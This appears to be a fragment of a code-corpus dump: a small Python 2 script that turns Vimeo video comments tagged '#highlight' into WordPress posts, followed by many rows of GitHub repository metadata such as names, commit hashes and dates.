NewPost\\nfrom wordpress_xmlrpc.methods.users import GetUserInfo\\nimport codecs\\nimport credentials as cr\\nimport json\\nimport locale\\nimport logging\\nimport oauth2 as oauth\\nimport optparse\\nimport os\\nimport sys\\nimport warnings\\n\\n__author__ = '$USER'\\n__version__=\\\"0.1\\\"\\n\\nscript_name = os.path.basename(sys.argv[0])\\nusage = '[options] <video_id> <parent_post_id>'\\ndescription = '''\\nScript that takes comments from a vimeo video with a #highlight tag and converts them to wordpress posts.\\n'''\\n\\nlogger = logging.getLogger(script_name)\\n\\ndef convert_comments_to_posts(video_id, parent_post_id):\\n token = oauth.Token(key=cr.token_key, secret=cr.token_secret)\\n consumer = oauth.Consumer(key=cr.consumer_key, secret=cr.consumer_secret)\\n url = \\\"http://vimeo.com/api/rest/v2?format=json&method=vimeo.videos.comments.getList&video_id=\\\" + str(video_id)\\n client = oauth.Client(consumer, token)\\n resp, content = client.request(url)\\n data = json.loads(content)\\n process_comments(video_id, parent_post_id, data['comments']['comment'])\\n\\ndef process_comments(video_id, parent_post_id, comments):\\n wp = Client(cr.wp_url, cr.wp_user, cr.wp_password)\\n for comment in comments:\\n if '#highlight' in comment['text']:\\n process_comment(wp, video_id, parent_post_id, comment)\\n\\ndef get_post_content(video_id, comment):\\n text = comment['text'].replace('#highlight','')\\n return '<p>' + text + '</p><iframe src=\\\"' + video_url(video_id, text) + '\\\" width=\\\"625\\\" height=\\\"368\\\" frameborder=\\\"0\\\" webkitAllowFullScreen mozallowfullscreen allowFullScreen></iframe><p><a href=\\\"' + comment['permalink'] + '\\\">View comment on Vimeo</a> '\\n\\ndef process_comment(wp, video_id, parent_post_id, comment):\\n post = WordPressPost()\\n post.title = comment['text'][6:50]\\n post.content = get_post_content(video_id,comment)\\n post.post_type = 'video-highlight'\\n post.post_status = 'publish'\\n post.parent_id = parent_post_id\\n #logger.info(\\\"Created post with ID [%s]\\\", wp.call(NewPost(post)))\\n print \\\"Created post with ID [%s]\\\" % wp.call(NewPost(post))\\n\\ndef video_url(video_id, comment_text):\\n url = 'http://player.vimeo.com/video/%s#t=%s' % (video_id, strip_time(comment_text))\\n logger.debug(\\\"Video URL: %s\\\", url)\\n return url\\n\\ndef strip_time(text):\\n return text[0:2] + 'm' + text[3:5] + 's'\\n\\ndef get_options(argv):\\n '''Get options and arguments from argv string.'''\\n parser = optparse.OptionParser(usage=usage, version=__version__)\\n parser.description=description\\n parser.add_option(\\\"-v\\\", \\\"--verbosity\\\", action=\\\"count\\\", default=0,\\n help=\\\"Specify up to three times to increase verbosity, i.e. -v to see warnings, -vv for information messages, or -vvv for debug messages.\\\")\\n \\n # Extra script options here...\\n \\n options, args = parser.parse_args(list(argv))\\n script, args = args[0], args[1:]\\n return options, script, args, parser.format_help()\\n\\ndef init_logger(verbosity, stream=sys.stdout):\\n '''Initialize logger and warnings according to verbosity argument.\\n Verbosity levels of 0-3 supported.'''\\n is_not_debug = verbosity <= 2\\n level = [logging.ERROR, logging.WARNING, logging.INFO][verbosity] if is_not_debug else logging.DEBUG\\n format = '%(message)s' if is_not_debug else '%(asctime)s %(levelname)-8s %(name)s %(module)s.py:%(funcName)s():%(lineno)d %(message)s'\\n logging.basicConfig(level=level, format=format, stream=stream)\\n if is_not_debug: warnings.filterwarnings('ignore')\\n\\ndef wrap_stream_for_tty(stream):\\n if stream.isatty():\\n # Configure locale from the user's environment settings.\\n locale.setlocale(locale.LC_ALL, '')\\n \\n # Wrap stdout with an encoding-aware writer.\\n lang, encoding = locale.getdefaultlocale()\\n logger.debug('Streaming to tty with lang, encoding = %s, %s', lang, encoding)\\n if encoding:\\n return codecs.getwriter(encoding)(stream)\\n else:\\n logger.warn('No tty encoding found!')\\n \\n return stream\\n\\ndef main(*argv):\\n options, script, args, help = get_options(argv)\\n init_logger(options.verbosity)\\n convert_comments_to_posts(args[0], args[1])\\n\\nif __name__ == '__main__':\\n sys.exit(main(*sys.argv))\\n\\n\\n\"\n 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jonnor/openl3-hear | https://github.com/jonnor/openl3-hear | c0ba22194e9578c046bc64c15e666892d18dda63 | 71e31202db3897fb7f594f94a65de17c059fcbc4 | d4d72eb3348b53576dd76cb85122ed611386fce0 | refs/heads/main | 2023-07-06T15:12:19.417519 | 2021-07-27T15:23:06 | 2021-07-27T15:23:06 | 387,937,876 | 1 | 0 | null | null | null | null | null | [
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jiangjinjinyxt/wechat | https://github.com/jiangjinjinyxt/wechat | da1bc729a8d342fe0433a81f79174d43b772fdae | 706c1b0fef22c01ffbd67bdf9b9aaa6fdb272ee6 | 34ad62f77089dcdc417823fec1c1ffad5991cec2 | refs/heads/master | 2021-07-12T06:11:39.878073 | 2017-10-09T01:49:00 | 2017-10-09T01:49:00 | 106,222,057 | 0 | 0 | null | null | null | null | null | [
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AlexVoitenko/myportfolio | https://github.com/AlexVoitenko/myportfolio | c885b69ef4f21856bf82475da54f108ee895d1aa | 63bc7a1273193bb657e2c30f4c58bc844fee2450 | 293dc4eb58fd34919867fc60edbc55574fd28339 | refs/heads/master | 2015-09-26T10:25:35.708931 | 2015-09-20T15:37:28 | 2015-09-20T15:37:28 | 42,817,625 | 0 | 0 | null | null | null | null | null | [
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zdettwiler/koine-greek-dictionary | https://github.com/zdettwiler/koine-greek-dictionary | 6c406bf0e5ac59ccc6e23330b1e69b10e073ea9d | d17c8d828a8a89b598193280600334d12e842914 | c5935eac8b023d110659db6b53a039e4c62418f7 | refs/heads/master | 2022-07-14T01:15:09.666985 | 2020-02-09T13:09:58 | 2020-02-09T13:09:58 | 239,307,293 | 0 | 0 | null | 2020-02-09T13:14:45 | 2020-02-09T13:16:02 | 2022-06-22T01:05:12 | Rich Text Format | [
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sunilsharma07/pet_finder | https://github.com/sunilsharma07/pet_finder | 283dc54567a1aff4030ae0ccc7d43f1121644bdb | 380e4f19172e06e92b5b752f59e2902efa6aee1f | 8956fd73d3b333999d78ddb8185fc4eecd9ad9cc | refs/heads/master | 2022-10-23T18:10:30.839777 | 2020-06-15T07:18:02 | 2020-06-15T07:18:02 | null | 0 | 0 | null | null | null | null | null | [
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nbren12/craigslist2org | https://github.com/nbren12/craigslist2org | 1d8bbcd8f39ba814431bf9eea5927cb04d343f3c | 15041d4760a8bbd67a17f2dee1e6fd75038af7cc | a3c90e678a7d63b52050eae2b6fddf4381537d15 | refs/heads/master | 2021-01-16T20:04:22.938518 | 2017-09-10T17:56:18 | 2017-09-10T17:56:18 | 100,198,275 | 0 | 0 | null | null | null | null | null | [
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karmarv/image_captioning | https://github.com/karmarv/image_captioning | 1ae292972100b58e555579adebe10e2839573412 | e51eda6d7b020e59abd2f779be659c06ff075d34 | 90809fab3a55baf6175b7d4b5260a2027c0a1429 | refs/heads/master | 2021-09-15T20:03:43.700045 | 2018-06-09T20:41:05 | 2018-06-09T20:41:05 | null | 0 | 0 | null | null | null | null | null | [
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eliogovea/solutions_cp | https://github.com/eliogovea/solutions_cp | 001cf73566ee819990065ea054e5f110d3187777 | 088e45dc48bfb4d06be8a03f4b38e9211a5039df | 6693c202f4aa960b05d7dfd0ac8e19a0d1199a16 | refs/heads/master | 2020-09-11T11:13:47.691359 | 2019-11-17T19:30:57 | 2019-11-17T19:30:57 | 222,045,090 | 0 | 0 | null | null | null | null | null | [
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WZ-ZXY/Big-Data-Analysis-Project | https://github.com/WZ-ZXY/Big-Data-Analysis-Project | 9b19e13ae9836bb1c5867b1db70d67b1c800ed12 | caa3c3545c9e0789842b987a5b4145a8d2102e37 | ee61154f70c8538c34bab48b4b15811ed19e4017 | refs/heads/main | 2023-02-13T02:25:25.967692 | 2020-12-24T14:00:40 | 2020-12-24T14:00:40 | 324,168,010 | 0 | 0 | null | null | null | null | null | [
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deoxyribose/SAPhackathon2019AIClerk | https://github.com/deoxyribose/SAPhackathon2019AIClerk | 1843035b7e1be3286d8711c441b734a963cb6d3d | 648bf1fd5abde508bcf07c3ca15f083c3d87f9a0 | eb7a94cdaa4afc5017a5bf927c53bf665937c596 | refs/heads/master | 2023-01-10T00:59:05.610811 | 2019-09-26T15:54:10 | 2019-09-26T15:54:10 | 211,040,885 | 0 | 0 | null | 2019-09-26T08:37:22 | 2019-09-26T15:54:30 | 2023-01-07T10:07:11 | Jupyter Notebook | [
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amit-s19/Project-Sipher | https://github.com/amit-s19/Project-Sipher | 3dec9a2b49e82693b48af9934d47f1d85400a3d5 | e29a4e25ef8374e013ee2be4ea015ac322d94f9a | 95863ce7befb59090552f11156be72467d76d4b8 | refs/heads/master | 2021-10-23T11:54:39.938789 | 2019-03-17T10:33:46 | 2019-03-17T10:33:46 | null | 0 | 0 | null | null | null | null | null | [
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SBT-community/Starbound_RU | https://github.com/SBT-community/Starbound_RU | 70724a27d5b0b8f570c37158e96a4e3b584d7cfe | 283af64f1d722deb419f6cce8d7d641aae28b537 | d7b346806d035675bb6570116aca751be20a195a | refs/heads/web-interface | 2023-05-31T14:23:08.322876 | 2020-06-22T16:14:31 | 2020-06-22T16:14:31 | 65,451,990 | 51 | 146 | Apache-2.0 | 2016-08-11T08:22:02 | 2020-01-30T12:31:49 | 2020-02-03T16:30:22 | Lua | [
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nooreldeenmagdy/2048-Game | https://github.com/nooreldeenmagdy/2048-Game | 174a8b2b6204efa36dac21f6922693da2cf5abe4 | 6d5a321ffcc795124d4fba1543e8f1bc07aa481e | d872b8d5081122d9726f01689aed412360a5fef9 | refs/heads/master | 2023-05-11T21:04:24.042249 | 2021-06-04T14:55:15 | 2021-06-04T14:55:15 | 373,872,697 | 0 | 0 | null | null | null | null | null | [
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jcvirulant/work_log2 | https://github.com/jcvirulant/work_log2 | b3355ac67ed65eac6e01e6cea18aab6a89640315 | 7c0c83cc87436e29c86e7f6ad1c7a32025cedb63 | dbe02855413c76862065f8220944abed7bac951a | refs/heads/master | 2020-05-18T14:26:31.629730 | 2017-03-07T23:16:59 | 2017-03-07T23:16:59 | 84,246,414 | 0 | 0 | null | null | null | null | null | [
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Italo-Neves/Python | https://github.com/Italo-Neves/Python | b04afa3f8a64f0a8935e21c4cd0ba6d5814ae7fb | 3d09453af232e8676b1fa257a2d3e737623c85b1 | 85df5b9be4b84b36b22926183f94908542087557 | refs/heads/master | 2023-05-13T19:49:31.719532 | 2021-06-10T15:13:58 | 2021-06-10T15:13:58 | 261,048,554 | 0 | 1 | null | null | null | null | null | [
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wisRen/blog_scripts | https://github.com/wisRen/blog_scripts | 92318fea64486652c376e2ac3f536c4ab9effc84 | 2a32e8c0d20734eaf81a1dcb4215a44663a5baaf | c11fc35d361aca495c38163503b15b6703677c99 | refs/heads/master | 2023-03-17T07:39:52.604127 | 2020-03-03T08:17:00 | 2020-03-03T08:17:00 | null | 0 | 0 | null | null | null | null | null | [
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DylanEHolland/pykgr.old | https://github.com/DylanEHolland/pykgr.old | f624bdd98004583e50357d408f4db388d66de771 | e66442790a29b0fa0d1e4586abf442cd927c8015 | 7a9b123b08622e590c3c984650e4b5d15f71b656 | refs/heads/main | 2023-07-17T21:48:49.626989 | 2021-08-31T00:48:27 | 2021-08-31T00:48:27 | null | 0 | 0 | null | null | null | null | null | [
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sndev28/Kurisu-Virtual-Assistant | https://github.com/sndev28/Kurisu-Virtual-Assistant | 8da3247d227186315bbc37a57e89f581534ddf99 | 7447935c8f87e5ba104174b8457beeba237fee35 | d1722a7451a1c5c80688db8b673a2a8f8160091c | refs/heads/master | 2023-07-15T22:43:39.819966 | 2021-08-31T09:50:32 | 2021-08-31T09:50:32 | 393,433,177 | 0 | 0 | null | null | null | null | null | [
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konker/syncilainen | https://github.com/konker/syncilainen | f35513591171851758aedaf84c7f4a9b35d130b1 | 04b74608852ad884f01f3e147abf2275bb44b51c | dcc014d770d50f74b5f40c8237990ef27d64a9cb | refs/heads/master | 2020-04-05T23:16:36.727493 | 2012-05-29T11:43:18 | 2012-05-29T11:43:18 | 2,871,128 | 0 | 0 | null | null | null | null | null | [
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chris65013/bibliotheca | https://github.com/chris65013/bibliotheca | db6725961674240a20dcb1bf22c1c7f795f0b5c2 | 258f54dce1c3b169857f9a0a6076317116cc742f | 73f2607ef0dab42fb4594bd50f53d566ba7f6281 | refs/heads/master | 2021-01-05T12:18:51.536763 | 2020-02-17T04:59:12 | 2020-02-17T04:59:12 | 241,022,509 | 0 | 0 | null | null | null | null | null | [
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k-webb/supreme | https://github.com/k-webb/supreme | 18201a064781a294ff1e0da70c59237e973c310c | acfad9bdb1e4c7009d82b0410e32505f7b83dfaa | 008f073143748ddb6edab753d503597edf1d6c2f | refs/heads/master | 2021-03-19T17:54:44.984137 | 2017-10-20T02:21:55 | 2017-10-20T02:21:55 | 101,513,687 | 10 | 0 | null | null | null | null | null | [
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efabens/plotille | https://github.com/efabens/plotille | 513e152c7d5478d995c842e7fe7ac5192dc85e7f | 1d8c53e0aa9b9f1a714237ce3180bbbeaf9b33b7 | 8b3845d45a59548b61c99820c410704aa5f1da39 | refs/heads/master | 2021-05-12T12:29:11.416704 | 2017-12-19T08:37:03 | 2017-12-19T08:54:00 | 117,413,023 | 0 | 0 | null | 2018-01-14T08:05:07 | 2018-01-03T18:30:06 | 2017-12-19T08:54:14 | null | [
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SandyLinux/NetworkCommunication | https://github.com/SandyLinux/NetworkCommunication | 84ba35a79999db638e1df8952b67b47e70bf86fc | c6377e653c5ead9cc4550ffec23a3a3824da14ef | 55197c3595ecd3443fc4c6c463fca997d3371108 | refs/heads/master | 2020-03-31T15:53:45.581028 | 2019-04-22T04:47:32 | 2019-04-22T04:47:32 | 152,355,455 | 0 | 0 | null | null | null | null | null | [
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ericmarcincuddy/sports-schedules | https://github.com/ericmarcincuddy/sports-schedules | 7db797cbc4eee8b9858b3b341b9f6f5db04cc443 | d7df1a67763d1fc655d4e2479f2cd1553b1bac93 | 12cdae2503bc56c30506b3eb32a359ca1c7c75d0 | refs/heads/master | 2019-01-19T14:49:00.466543 | 2018-01-13T02:03:47 | 2018-01-13T02:03:47 | 81,053,076 | 0 | 0 | null | null | null | null | null | [
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giuseppeluzzi/advent-of-code-2017 | https://github.com/giuseppeluzzi/advent-of-code-2017 | 93c805e964673e0c3b230247bda2254cd125c6ae | 9c5dcebe1b85df40926486fcbdd5e9487c6dc544 | 0e9bb46f6a27a84195d691bd28bc41a83b11f802 | refs/heads/master | 2021-08-28T04:50:30.949863 | 2017-12-11T08:04:23 | 2017-12-11T08:04:23 | null | 0 | 0 | null | null | null | null | null | [
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cschu/2BL-Surgery | https://github.com/cschu/2BL-Surgery | 98e8ccfcffba12c43b35699c89f8ecc12c2c49c4 | 419152c2498a9010a3871f4ff5887c1b6562cfde | 9ff72b36bdddc9b3dccf6b7f38b9caa2d0bbdc20 | refs/heads/master | 2019-01-19T12:10:35.908412 | 2015-07-17T16:51:19 | 2015-07-17T16:51:19 | 29,969,474 | 0 | 0 | null | null | null | null | null | [
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Djudjou/Time | https://github.com/Djudjou/Time | cd538e7c82ce1ae3177ad38cfaeeee0b1cd02b6e | 9468356ac0c2dceb0865b24cfc656cc67a6faaa7 | e98ba833aa14b526be097c54c5339fc8a89ab72e | refs/heads/master | 2021-01-18T14:11:09.803324 | 2015-01-07T18:14:13 | 2015-01-07T18:14:13 | 27,384,285 | 0 | 0 | null | null | null | null | null | [
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alienth/Zenpacks.zenoss.ZenJMX | https://github.com/alienth/Zenpacks.zenoss.ZenJMX | aab07bbf96b4695c1a03603ad15c2a0799557ecf | e13eeee604d6dd8e04100f7e2d538d659b786861 | a336413eb59dd35c169d1cd4ac4dec658de1e28f | refs/heads/master | 2016-09-11T02:57:09.445231 | 2012-02-01T00:16:15 | 2012-02-01T00:16:15 | 3,404,707 | 0 | 0 | null | null | null | null | null | [
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brandon1994/Educatio | https://github.com/brandon1994/Educatio | f09ce417b6f95d645191a4010a40e07d5a4047f6 | 3b38f553b5161e33978621ee84e258445c532d4e | 5b4209a6bb4c25c9a916ce29efe16361be86893e | refs/heads/master | 2021-01-20T01:46:19.343719 | 2017-03-17T13:14:03 | 2017-03-17T13:14:03 | 83,777,991 | 0 | 0 | null | null | null | null | null | [
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jwjohnson314/DATA-557-Example | https://github.com/jwjohnson314/DATA-557-Example | 6b4b28081b2f08f7a31be119b4788e40d949c15e | 0d7b7ca8bca5eb385cfc9990f6ec45bb9ebf3176 | 8942d732f95f2f4de881d4a3f8746a3123d598ff | refs/heads/master | 2018-01-09T17:59:43.582848 | 2017-03-29T15:59:02 | 2017-03-29T15:59:02 | 53,442,350 | 0 | 0 | null | null | null | null | null | [
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functx/projecteuler | https://github.com/functx/projecteuler | 279080347b5cce1b680d6333c81cda75e959140b | 62217abda859e33dffa6b0301836438f3a306dde | 305dc4141efaf44eecae52b68fa34bc4de6f2d73 | refs/heads/master | 2020-01-19T09:30:44.160105 | 2013-07-05T12:55:55 | 2013-07-05T12:55:55 | null | 0 | 0 | null | null | null | null | null | [
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waggle-sensor/Cloud-Optical-Flow | https://github.com/waggle-sensor/Cloud-Optical-Flow | cdb2d130ed32b1f783b33e64dc481ecb7dc27a23 | fea7dc3adf6f41b5713aeb4766f0e4b81328a1ea | d44c0b671d6f8e485dac0cd3480d7efe2a80f770 | refs/heads/main | 2023-07-03T01:23:57.938936 | 2021-08-06T20:27:00 | 2021-08-06T20:27:00 | 388,893,651 | 2 | 0 | null | null | null | null | null | [
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Wzysaber/learn-git | https://github.com/Wzysaber/learn-git | e75a7eebd5d98de1372a5269c5d6cb128ca8c81b | fc1aae874c399d164b9b2a0c55a991e0d1bc14ea | b9e14749ecc9c151d428b81618b114e7260f0b85 | refs/heads/master | 2021-08-06T17:49:38.380631 | 2020-09-20T12:50:37 | 2020-09-20T12:50:37 | 220,222,649 | 0 | 0 | null | null | null | null | null | [
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2018-RealitasVirtualAugmentasi/tugas5-fp-ar-arezana | https://github.com/2018-RealitasVirtualAugmentasi/tugas5-fp-ar-arezana | cb1edc8ebf33c2b6d62c5a80b704b5444464adca | 3f8f9719d23f6ae796c10ac1ec2e54790797d595 | a7f2e2e4afa5b4859704503536a7bc4c46c01afb | refs/heads/master | 2020-03-31T18:03:41.188686 | 2018-11-12T20:53:59 | 2018-11-12T20:53:59 | 152,445,074 | 0 | 0 | null | null | null | null | null | [
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skylarbarrera/courselist-webScraperWM | https://github.com/skylarbarrera/courselist-webScraperWM | fe19acba0970f2d18396af694571910b6927132e | 68dabdefe0ca850de7888aeb16534fb19fe0fd7d | ca2ba5b26e1a7f9acb30ac5802ea84be6d88146b | refs/heads/master | 2020-12-03T08:24:35.646835 | 2020-01-01T20:31:20 | 2020-01-01T20:31:20 | 231,251,146 | 0 | 0 | null | null | null | null | null | [
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Naman027/Intern-Placement-CCD-Portal | https://github.com/Naman027/Intern-Placement-CCD-Portal | 68a470cc21ff2581d3c9b8d9c48bd014e6980101 | a0514f1650b71c86c72c9f8b4a249c3858be3534 | a842b6e540851419c31990671194b14a38560ac0 | refs/heads/master | 2023-07-10T13:23:05.729696 | 2021-08-23T07:20:12 | 2021-08-23T07:20:12 | 399,005,118 | 1 | 0 | null | null | null | null | null | [
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wolfenelson/sqltest | https://github.com/wolfenelson/sqltest | 83a95d833b03531c836b251318880ab6ca028f58 | ba373d1a0a86850c1602aae90e9f278735e5cb59 | 576eb16b6609e11365f95c32231ee51f545d9dfd | refs/heads/master | 2020-07-07T19:34:52.828234 | 2019-08-21T17:42:10 | 2019-08-21T17:42:10 | 203,456,044 | 1 | 0 | null | null | null | null | null | [
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Great-Stone/weblogic-expert | https://github.com/Great-Stone/weblogic-expert | 8f77c50e3c25110851078e93a13369c2bbffdcd7 | 74727b3ece0549fc1d07056489ea9672bbbeecce | 1b1196e1c4437a09c098d1d7d242562c72bfb89b | refs/heads/master | 2021-01-20T01:43:30.236039 | 2018-01-27T13:00:39 | 2018-01-27T13:00:39 | 101,298,723 | 1 | 0 | null | null | null | null | null | [
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zbhno37/srwe | https://github.com/zbhno37/srwe | 787f9b2d21086ba7f773addb5f5c78a2bd29a1e0 | 01bbdd9aa76adc4b028e1821a7284680480fc297 | 2a6c9b9937aadbef02b6402da15aa6ed1ce53e94 | refs/heads/master | 2021-01-10T01:43:21.703713 | 2016-03-13T02:24:13 | 2016-03-13T02:24:13 | 47,951,357 | 2 | 0 | null | null | null | null | null | [
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SimonTheWang/coronavirusGrapher | https://github.com/SimonTheWang/coronavirusGrapher | 6f9c4a736ced4aae8d13c77b904cb4a92fe4c4fd | e3b88ce8ddf1c751686bb8ccca8b541565eabbfa | 52e7672212400c35ce78bf6732c8e2c9b06aa03f | refs/heads/master | 2023-04-01T14:26:16.391458 | 2021-04-05T14:54:22 | 2021-04-05T14:54:22 | 266,222,985 | 0 | 0 | null | null | null | null | null | [
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Carlos-FerreiraJr/pandas | https://github.com/Carlos-FerreiraJr/pandas | fe76c6722c2761c9580dafcc655a5612a76f219e | f185926c706a81e74c89fd1671de89c0b72fa4a5 | d7d34b274c3fc85f42a72ecb8a4af6df002950f3 | refs/heads/master | 2020-04-17T05:13:18.058142 | 2019-01-18T18:06:18 | 2019-01-18T18:06:18 | 166,268,785 | 0 | 0 | null | null | null | null | null | [
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ArdyTheRobot/FlaskFetch | https://github.com/ArdyTheRobot/FlaskFetch | 75431ee914ac4352e492e153b4b121f75c8158ee | 2707a4f729a4cab88ce22209dfe36b348a48d44f | 78bf011b3ff3d98b96dc200603b1a33f7ed7f1a5 | refs/heads/main | 2023-01-05T01:50:08.491700 | 2020-10-26T19:40:13 | 2020-10-26T19:40:13 | null | 0 | 0 | null | null | null | null | null | [
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bibarz/sotana | https://github.com/bibarz/sotana | 9e98f206ab244f85f7ebb33cc73254d7392badb7 | 79e6c23b9f9edefa190bb8e52dd51683cd83d6fb | f8699b91cdff130ecbbd975816d30d8b6d39a855 | refs/heads/master | 2020-04-17T05:54:55.774661 | 2016-10-17T16:02:11 | 2016-10-17T16:02:11 | 67,334,542 | 0 | 0 | null | null | null | null | null | [
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tiffhens/webscraping_henschel | https://github.com/tiffhens/webscraping_henschel | 7996c3e4a19c8e8a8aea178463d51f24f1168bb4 | 632aba96ed9f4bd2c89b1c04edf4880cce6e81e5 | 84d97e0eb711e45e99c7e7bb52e909391ebe02d1 | refs/heads/master | 2021-01-01T04:26:59.550832 | 2016-04-15T22:48:17 | 2016-04-15T22:48:17 | 56,353,400 | 0 | 0 | null | null | null | null | null | [
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lukaslaobeyer/render | https://github.com/lukaslaobeyer/render | 97179527463d3b97cff64eb1fd2e9e862baea2dd | f74ba1e34a713df83c391f501baf043816a7625a | 0e251cfddb95de6528820f734208ebf24212aab6 | refs/heads/master | 2020-03-29T00:51:01.226426 | 2017-06-17T16:53:46 | 2017-06-17T16:53:46 | 94,637,161 | 1 | 0 | null | null | null | null | null | [
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GuilinXie/LeetcodeSQL | https://github.com/GuilinXie/LeetcodeSQL | 2dde9c9af92051b0ab63325d9c99ec9af4fde85b | 8e7347b2b35406ac799b02a9ee53b09ac91eb7d0 | 599f94f66c7632d71aa631d08e996344afa3a52d | refs/heads/master | 2021-12-23T14:50:37.688799 | 2021-08-30T18:18:03 | 2021-08-30T18:18:03 | 253,012,461 | 0 | 0 | null | null | null | null | null | [
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vadrahayu/server | https://github.com/vadrahayu/server | 02ff2c8c02bdc038157a691db3b8d2f4d89d5070 | 3a908a32b712999aa0ec09450704166427d4457b | a189301e57c2cd77af022457c6757242fb67e3f9 | refs/heads/master | 2020-02-26T14:43:14.852414 | 2016-06-20T02:42:17 | 2016-06-20T02:42:17 | 61,512,043 | 0 | 0 | null | null | null | null | null | [
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misingnoglic/Zaitlen_lab | https://github.com/misingnoglic/Zaitlen_lab | f0642e534141a5503ea9fec88ade020745d9e960 | 90fc6297c510066d9910d3e4fc29183f738d510e | 1267f7344a8ecfb84db9d739a59f097fdca1cd29 | refs/heads/master | 2021-05-15T16:21:33.396659 | 2018-01-24T08:36:38 | 2018-01-24T08:36:38 | 107,451,991 | 0 | 0 | null | 2017-10-18T19:12:58 | 2017-08-31T23:04:52 | 2017-10-18T19:07:37 | null | [
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dnyaneshwar1991/Speech_Recognition | https://github.com/dnyaneshwar1991/Speech_Recognition | 2552b86ae9e5e2c8fc13ff179e25c04a1493529f | 0ea14278c9862140728d32c2eab83803eaaafb56 | a1558801819e376fd548077f3db12ebba2196d9e | refs/heads/master | 2020-12-02T23:00:10.336023 | 2017-07-04T12:27:56 | 2017-07-04T12:27:56 | 96,214,421 | 0 | 0 | null | null | null | null | null | [
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kalsop/Vimeo-video-comments-to-Wordpress-post | https://github.com/kalsop/Vimeo-video-comments-to-Wordpress-post | f4034cf4d44d43da9ad3eb14697cd502eefaaeea | 55d418f84c26cf8c89d364f15086bcdf25ef7980 | b2e09a258ab5141201fc28f594c4e6d47b61dc1e | refs/heads/master | 2021-01-21T12:36:13.964669 | 2013-04-05T10:57:47 | 2013-04-05T10:57:47 | 9,219,113 | 1 | 0 | null | 2013-04-04T13:45:34 | 2013-04-04T16:40:31 | 2013-04-04T16:40:31 | Python | [
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